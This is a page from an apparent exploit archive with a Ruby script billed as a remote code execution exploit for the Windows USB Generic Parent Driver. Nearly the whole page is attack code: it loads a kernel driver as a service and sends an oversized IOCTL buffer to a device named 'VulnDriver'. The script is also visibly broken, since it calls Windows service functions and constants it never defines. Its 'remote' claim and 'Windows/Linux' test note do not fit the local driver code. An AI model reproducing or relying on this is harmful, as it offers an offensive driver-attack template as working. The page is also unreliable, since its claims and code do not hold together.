4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.rb RB
puts <<-BANNER
Exploit Title: Windows USB Generic Parent Driver Remote Code Execution Vulnerability
Date: 2024-04-04
Country: Iran
Exploit Author: Yasin Saffari (Symbolexe)
Vendor Homepage: None
Tested on: Windows/Linux
CVE: CVE-2024-1642470
BANNER

require 'ffi'

module WindowsAPI
  extend FFI::Library
  ffi_lib 'kernel32'

  # Function signatures
  attach_function :open_device, :CreateFileW, [:string, :uint32, :uint32, :pointer, :uint32, :uint32, :pointer], :pointer
  attach_function :device_io_control, :DeviceIoControl, [:pointer, :uint32, :pointer, :uint32, :pointer, :uint32, :pointer, :pointer], :bool
  attach_function :close_handle, :CloseHandle, [:pointer], :bool

  # Constants
  GENERIC_READ = 0x80000000
  GENERIC_WRITE = 0x40000000
  OPEN_EXISTING = 3
  FILE_ATTRIBUTE_NORMAL = 0x80
end

def load_driver(driver_name, service_name)
  sc_manager = WindowsAPI.OpenSCManagerW(nil, nil, WindowsAPI::SC_MANAGER_ALL_ACCESS)
  if sc_manager.null?
    return false
  end

  service = WindowsAPI.CreateServiceW(sc_manager, service_name, service_name, WindowsAPI::SERVICE_ALL_ACCESS, WindowsAPI::SERVICE_KERNEL_DRIVER, WindowsAPI::SERVICE_DEMAND_START, WindowsAPI::SERVICE_ERROR_NORMAL, driver_name, nil, nil, nil, nil, nil)
  if service.null?
    error = WindowsAPI::get_last_error
    if error == WindowsAPI::ERROR_SERVICE_EXISTS
      service = WindowsAPI.OpenServiceW(sc_manager, service_name, WindowsAPI::SERVICE_ALL_ACCESS)
      if service.null?
        WindowsAPI.CloseServiceHandle(sc_manager)
        return false
      end
    else
      WindowsAPI.CloseServiceHandle(sc_manager)
      return false
    end
  end

  if !WindowsAPI.StartServiceW(service, 0, nil)
    error = WindowsAPI::get_last_error
    if error != WindowsAPI::ERROR_SERVICE_ALREADY_RUNNING
      WindowsAPI.CloseServiceHandle(service)
      WindowsAPI.CloseServiceHandle(sc_manager)
      return false
    end
  end

  WindowsAPI.CloseServiceHandle(service)
  WindowsAPI.CloseServiceHandle(sc_manager)
  return true
end

def unload_driver(service_name)
  sc_manager = WindowsAPI.OpenSCManagerW(nil, nil, WindowsAPI::SC_MANAGER_ALL_ACCESS)
  if sc_manager.null?
    return false
  end

  service = WindowsAPI.OpenServiceW(sc_manager, service_name, WindowsAPI::SERVICE_ALL_ACCESS)
  if service.null?
    WindowsAPI.CloseServiceHandle(sc_manager)
    return false
  end

  service_status = WindowsAPI::SERVICE_STATUS.new
  if !WindowsAPI.ControlService(service, WindowsAPI::SERVICE_CONTROL_STOP, service_status)
    error = WindowsAPI::get_last_error
    if error != WindowsAPI::ERROR_SERVICE_NOT_ACTIVE
      WindowsAPI.CloseServiceHandle(service)
      WindowsAPI.CloseServiceHandle(sc_manager)
      return false
    end
  end

  if !WindowsAPI.DeleteService(service)
    WindowsAPI.CloseServiceHandle(service)
    WindowsAPI.CloseServiceHandle(sc_manager)
    return false
  end

  WindowsAPI.CloseServiceHandle(service)
  WindowsAPI.CloseServiceHandle(sc_manager)
  return true
end

def main
  device_name = "\\\\.\\VulnDriver"
  ioctl_vuln_code = 0x222003
  ioctl_buffer_size = 0x1000

  device_handle = WindowsAPI.open_device(device_name, WindowsAPI::GENERIC_READ | WindowsAPI::GENERIC_WRITE, 0, nil, WindowsAPI::OPEN_EXISTING, WindowsAPI::FILE_ATTRIBUTE_NORMAL, nil)

  if device_handle && device_handle != FFI::Pointer::NULL
    puts "Vulnerable driver found!"
    input_buffer = FFI::MemoryPointer.new(:char, ioctl_buffer_size).put_string(0, "A" * ioctl_buffer_size)
    output_buffer = FFI::MemoryPointer.new(:char, ioctl_buffer_size)
    bytes_returned = FFI::MemoryPointer.new(:ulong)

    if WindowsAPI.device_io_control(device_handle, ioctl_vuln_code, input_buffer, ioctl_buffer_size, output_buffer, ioctl_buffer_size, bytes_returned, nil)
      puts "Output buffer:\n#{output_buffer.read_string.strip}"
    else
      puts "Error sending IOCTL: #{WindowsAPI.get_last_error}"
    end

    WindowsAPI.close_handle(device_handle)
  else
    puts "Vulnerable driver not found."
  end
end

# Load the vulnerable driver
driver_name = "vuln_driver.sys"
service_name = "\\Driver\\VulnDriver"
if !load_driver(driver_name, service_name)
  puts "Error loading vulnerable driver: #{WindowsAPI.get_last_error}"
  exit 1
end

main

# Unload the vulnerable driver
if !unload_driver(service_name)
  puts "Error unloading vulnerable driver: #{WindowsAPI.get_last_error}"
end